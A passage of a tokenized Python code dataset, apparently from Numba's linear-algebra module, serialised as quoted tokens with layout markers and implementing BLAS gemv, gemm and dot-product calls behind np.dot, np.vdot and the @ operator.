",", " ", "n_", "\\u\\u\\uNL\\u\\u\\u_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "intp", "\\u", "t_", ",_", "#", " ", "alpha", ",", " ", "a", ",", " ", "lda", "_", "\\u\\u\\uNL\\u\\u\\u_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "#", " ", "x", ",", " ", "beta", ",", " ", "y_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "builder_", "._", "module_", "._", "get", "\\u", "or", "\\u", "insert", "\\u", "function_", "(_", "fn", "ty_", ",_", "name_", "=_", "\"", "numb", "a", "\\u", "xx", "gem", "v", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dtype_", "=_", "m", "\\u", "type_", "._", "dtype_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "=_", "make", "\\u", "constant", "\\u", "slot_", "(_", "context_", ",_", "builder_", ",_", "dtype_", ",_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "=_", "make", "\\u", "constant", "\\u", "slot_", "(_", "context_", ",_", "builder_", ",_", "dtype_", ",_", "0.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "m", "\\u", "type_", "._", "layout_", "==_", "'", "F", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", ",_", "n_", "=_", "m", "\\u", "shapes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lda", "_", "=_", "m", "\\u", "shapes_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", ",_", "m_", "=_", "m", "\\u", "shapes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lda", "_", "=_", "m", "\\u", "shapes_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kind_", "=_", "get", "\\u", "bla", "s", "\\u", "kind_", "(_", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kind", "\\u", "val_", "=_", "ir_", "._", "Constant_", "(_", "ll", "\\u", "char_", ",_", "ord_", "(_", "kind_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trans_", "=_", "context_", "._", "insert", "\\u", "const", "\\u", "string_", "(_", "builder_", "._", "module_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "t", "\"_", "if_", "do", "\\u", "trans_", "else_", "\"", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "res_", "=_", "builder_", "._", "call_", "(_", "fn_", ",_", "(_", "kind", "\\u", "val_", ",_", "trans_", ",_", "m_", ",_", "n_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "builder_", "._", "bit", "cast_", "(_", "alpha_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "builder_", "._", "bit", "cast_", "(_", "m", "\\u", "data_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ")_", ",_", "lda", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "builder_", "._", "bit", "cast_", "(_", "v", "\\u", "data_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "builder_", "._", "bit", "cast_", "(_", "beta_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "builder_", "._", "bit", "cast_", "(_", "out", "\\u", "data_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check", "\\u", "bla", "s", "\\u", "return_", "(_", "context_", ",_", "builder_", ",_", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call", "\\u", "xx", "gem", "m_", "(_", "context_", ",_", "builder_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "x", "\\u", "type_", ",_", "x", "\\u", "shapes_", ",_", "x", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "y", "\\u", "type_", ",_", "y", "\\u", "shapes_", ",_", "y", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "out", "\\u", "type_", ",_", "out", "\\u", "shapes_", ",_", "out", "\\u", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Call", " ", "the", " ", "BLAS", " ", "matrix", " ", "*", " ", "matrix", " ", "product", " ", "function", " ", "for", " ", "the", " ", "give", "n", " ", "argu", "ment", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn", "ty_", "=_", "ir_", "._", "Function", "Type_", "(_", "ir_", "._", "Int", "Type_", "(_", "32_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "ll", "\\u", "char_", ",_", "#", " ", "kind_", "\\u\\u\\uNL\\u\\u\\u_", "ll", "\\u", "char", "\\u", "p_", ",_", "ll", "\\u", "char", "\\u", "p_", ",_", "#", " ", "transa", ",", " ", "trans", "b_", "\\u\\u\\uNL\\u\\u\\u_", "intp", "\\u", "t_", ",_", "intp", "\\u", "t_", ",_", "intp", "\\u", "t_", ",_", "#", " ", "m", ",", " ", "n", ",", " ", "k_", "\\u\\u\\uNL\\u\\u\\u_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "intp", "\\u", "t_", ",_", "#", " ", "alpha", ",", " ", "a", ",", " ", "lda", "_", "\\u\\u\\uNL\\u\\u\\u_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "intp", "\\u", "t_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "#", " ", "b", ",", " ", "ldb", ",", " ", "beta_", "\\u\\u\\uNL\\u\\u\\u_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "intp", "\\u", "t_", ",_", "#", " ", "c", ",", " ", "ld", "c_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "builder_", "._", "module_", "._", "get", "\\u", "or", "\\u", "insert", "\\u", "function_", "(_", "fn", "ty_", ",_", "name_", "=_", "\"", "numb", "a", "\\u", "xx", "gem", "m", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "m_", ",_", "k_", "=_", "x", "\\u", "shapes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "k_", ",_", "n_", "=_", "y", "\\u", "shapes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dtype_", "=_", "x", "\\u", "type_", "._", "dtype_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "=_", "make", "\\u", "constant", "\\u", "slot_", "(_", "context_", ",_", "builder_", ",_", "dtype_", ",_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "=_", "make", "\\u", "constant", "\\u", "slot_", "(_", "context_", ",_", "builder_", ",_", "dtype_", ",_", "0.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "trans_", "=_", "context_", "._", "insert", "\\u", "const", "\\u", "string_", "(_", "builder_", "._", "module_", ",_", "\"", "t", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "not", "rans_", "=_", "context_", "._", "insert", "\\u", "const", "\\u", "string_", "(_", "builder_", "._", "module_", ",_", "\"", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "array", "\\u", "param_", "(_", "ty_", ",_", "shapes_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Transpose", " ", "if", " ", "layout", " ", "different", " ", "from", " ", "result", "'", "s_", "\\u\\u\\uNL\\u\\u\\u_", "not", "rans_", "if_", "ty_", "._", "layout_", "==_", "out", "\\u", "type_", "._", "layout_", "else_", "trans_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Size", " ", "of", " ", "the", " ", "inner", " ", "dimension", " ", "in", " ", "physical", " ", "array", " ", "order_", "\\u\\u\\uNL\\u\\u\\u_", "shapes_", "[_", "1_", "]_", "if_", "ty_", "._", "layout_", "==_", "'", "C", "'_", "else_", "shapes_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "data", " ", "point", "er", ",", " ", "unit", "-", "less_", "\\u\\u\\uNL\\u\\u\\u_", "builder_", "._", "bit", "cast_", "(_", "data_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "transa", "_", ",_", "lda", "_", ",_", "data\\u", "a_", "=_", "get", "\\u", "array", "\\u", "param_", "(_", "y", "\\u", "type_", ",_", "y", "\\u", "shapes_", ",_", "y", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trans", "b_", ",_", "ldb_", ",_", "data\\u", "b_", "=_", "get", "\\u", "array", "\\u", "param_", "(_", "x", "\\u", "type_", ",_", "x", "\\u", "shapes_", ",_", "x", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u_", ",_", "ld", "c_", ",_", "data\\u", "c_", "=_", "get", "\\u", "array", "\\u", "param_", "(_", "out", "\\u", "type_", ",_", "out", "\\u", "shapes_", ",_", "out", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "kind_", "=_", "get", "\\u", "bla", "s", "\\u", "kind_", "(_", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kind", "\\u", "val_", "=_", "ir_", "._", "Constant_", "(_", "ll", "\\u", "char_", ",_", "ord_", "(_", "kind_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "res_", "=_", "builder_", "._", "call_", "(_", "fn_", ",_", "(_", "kind", "\\u", "val_", ",_", "transa", "_", ",_", "trans", "b_", ",_", "n_", ",_", "m_", ",_", "k_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "builder_", "._", "bit", "cast_", "(_", "alpha_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ")_", ",_", "data\\u", "a_", ",_", "lda", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data\\u", "b_", ",_", "ldb_", ",_", "builder_", "._", "bit", "cast_", "(_", "beta_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data\\u", "c_", ",_", "ld", "c_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check", "\\u", "bla", "s", "\\u", "return_", "(_", "context_", ",_", "builder_", ",_", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dot", "\\u", "2", "\\u", "mm_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "np", ".", "dot", "(", "matrix", ",", " ", "matrix", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "dot", "\\u", "impl_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", ",_", "k_", "=_", "a_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "k_", ",_", "n_", "=_", "b_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "numpy_", "._", "empty_", "(_", "(_", "m_", ",_", "n_", ")_", ",_", "a_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "numpy_", "._", "dot_", "(_", "a_", ",_", "b_", ",_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "context_", "._", "compile", "\\u", "internal_", "(_", "builder_", ",_", "dot", "\\u", "impl_", ",_", "sig_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "impl", "\\u", "ret", "\\u", "new", "\\u", "ref_", "(_", "context_", ",_", "builder_", ",_", "sig_", "._", "return", "\\u", "type_", ",_", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dot", "\\u", "2", "\\u", "vm_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "np", ".", "dot", "(", "vector", ",", " ", "matrix", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "dot", "\\u", "impl_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", ",_", "=_", "a_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "m_", ",_", "n_", "=_", "b_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "numpy_", "._", "empty_", "(_", "(_", "n_", ",_", ")_", ",_", "a_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "numpy_", "._", "dot_", "(_", "a_", ",_", "b_", ",_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "context_", "._", "compile", "\\u", "internal_", "(_", "builder_", ",_", "dot", "\\u", "impl_", ",_", "sig_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "impl", "\\u", "ret", "\\u", "new", "\\u", "ref_", "(_", "context_", ",_", "builder_", ",_", "sig_", "._", "return", "\\u", "type_", ",_", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dot", "\\u", "2", "\\u", "mv_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "np", ".", "dot", "(", "matrix", ",", " ", "vector", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "dot", "\\u", "impl_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", ",_", "n_", "=_", "a_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "n_", ",_", "=_", "b_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "numpy_", "._", "empty_", "(_", "(_", "m_", ",_", ")_", ",_", "a_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "numpy_", "._", "dot_", "(_", "a_", ",_", "b_", ",_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "context_", "._", "compile", "\\u", "internal_", "(_", "builder_", ",_", "dot", "\\u", "impl_", ",_", "sig_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "impl", "\\u", "ret", "\\u", "new", "\\u", "ref_", "(_", "context_", ",_", "builder_", ",_", "sig_", "._", "return", "\\u", "type_", ",_", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dot", "\\u", "2", "\\u", "vv_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ",_", "conjugate", "_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "np", ".", "dot", "(", "vector", ",", " ", "vector", ")", "\\", "10", ";", " ", " ", " ", " ", "np", ".", "vdo", "t", "(", "vector", ",", " ", "vector", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "at", "y_", ",_", "bt", "y_", "=_", "sig_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dtype_", "=_", "sig_", "._", "return", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "make", "\\u", "array_", "(_", "at", "y_", ")_", "(_", "context_", ",_", "builder_", ",_", "args_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "make", "\\u", "array_", "(_", "bt", "y_", ")_", "(_", "context_", ",_", "builder_", ",_", "args_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", ",_", "=_", "cg", "utils_", "._", "unpack", "\\u", "tuple_", "(_", "builder_", ",_", "a_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "check", "\\u", "args_", "(_", "a_", ",_", "b_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", ",_", "=_", "a_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", ",_", "=_", "b_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "m_", "!=_", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "incomp", "atible", " ", "array", " ", "size", "s", " ", "for", " ", "np", ".", "dot", "(", "a", ",", " ", "b", ")", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"(", "vector", " ", "*", " ", "vector", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "context_", "._", "compile", "\\u", "internal_", "(_", "builder_", ",_", "check", "\\u", "args_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "signature_", "(_", "types_", "._", "none_", ",_", "*_", "sig_", "._", "args_", ")_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check", "\\u", "c\\u", "int_", "(_", "context_", ",_", "builder_", ",_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "out_", "=_", "cg", "utils_", "._", "allo", "ca", "\\u", "once_", "(_", "builder_", ",_", "context_", "._", "get", "\\u", "value", "\\u", "type_", "(_", "dtype_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "xx", "dot_", "(_", "context_", ",_", "builder_", ",_", "conjugate", "_", ",_", "dtype_", ",_", "n_", ",_", "a_", "._", "data_", ",_", "b_", "._", "data_", ",_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "builder_", "._", "load_", "(_", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "lower", "\\u", "builtin_", "(_", "numpy_", "._", "dot_", ",_", "types_", "._", "Array_", ",_", "types_", "._", "Array_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "lower", "\\u", "builtin_", "(_", "'@'_", ",_", "types_", "._", "Array_", ",_", "types_", "._", "Array_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "dot", "\\u", "2_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "np", ".", "dot", "(", "a", ",", " ", "b", ")", "\\", "10", ";", " ", " ", " ", " ", "a", " ", "@", " ", "b", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensure", "\\u", "bla", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "make", "\\u", "contiguous", "_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", "as_", "(_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ndims_", "=_", "[_", "x_", "._", "ndim_", "for_", "x_", "in_", "sig_", "._", "args_", "[_", ":_", "2_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ndims_", "==_", "[_", "2_", ",_", "2_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "dot", "\\u", "2", "\\u", "mm_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "ndims_", "==_", "[_", "2_", ",_", "1_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "dot", "\\u", "2", "\\u", "mv_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "ndims_", "==_", "[_", "1_", ",_", "2_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "dot", "\\u", "2", "\\u", "vm_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "ndims_", "==_", "[_", "1_", ",_", "1_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "dot", "\\u", "2", "\\u", "vv_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "lower", "\\u", "builtin_", "(_", "numpy_", "._", "vdo", "t_", ",_", "types_", "._", "Array_", ",_", "types_", "._", "Array_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "vdo", "t_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "np", ".", "vdo", "t", "(", "a", ",", " ", "b", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensure", "\\u", "bla", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "make", "\\u", "contiguous", "_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", "as_", "(_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "dot", "\\u", "2", "\\u", "vv_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ",_", "conjugate", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dot", "\\u", "3", "\\u", "vm_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "np", ".", "dot", "(", "vector", ",", " ", "matrix", ",", " ", "out", ")", "\\", "10", ";", " ", " ", " ", " ", "np", ".", "dot", "(", "matrix", ",", " ", "vector", ",", " ", "out", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xt", "y_", ",_", "yt", "y_", ",_", "outt", "y_", "=_", "sig_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "outt", "y_", "==_", "sig_", "._", "return", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dtype_", "=_", "xt", "y_", "._", "dtype_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "=_", "make", "\\u", "array_", "(_", "xt", "y_", ")_", "(_", "context_", ",_", "builder_", ",_", "args_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "make", "\\u", "array_", "(_", "yt", "y_", ")_", "(_", "context_", ",_", "builder_", ",_", "args_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "make", "\\u", "array_", "(_", "outt", "y_", ")_", "(_", "context_", ",_", "builder_", ",_", "args_", "[_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x", "\\u", "shapes_", "=_", "cg", "utils_", "._", "unpack", "\\u", "tuple_", "(_", "builder_", ",_", "x_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y", "\\u", "shapes_", "=_", "cg", "utils_", "._", "unpack", "\\u", "tuple_", "(_", "builder_", ",_", "y_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "\\u", "shapes_", "=_", "cg", "utils_", "._", "unpack", "\\u", "tuple_", "(_", "builder_", ",_", "out_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "xt", "y_", "._", "ndim_", "<_", "yt", "y_", "._", "ndim_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Vector", " ", "*", " ", "matrix_", "\\u\\u\\uNL\\u\\u\\u_", "#", " 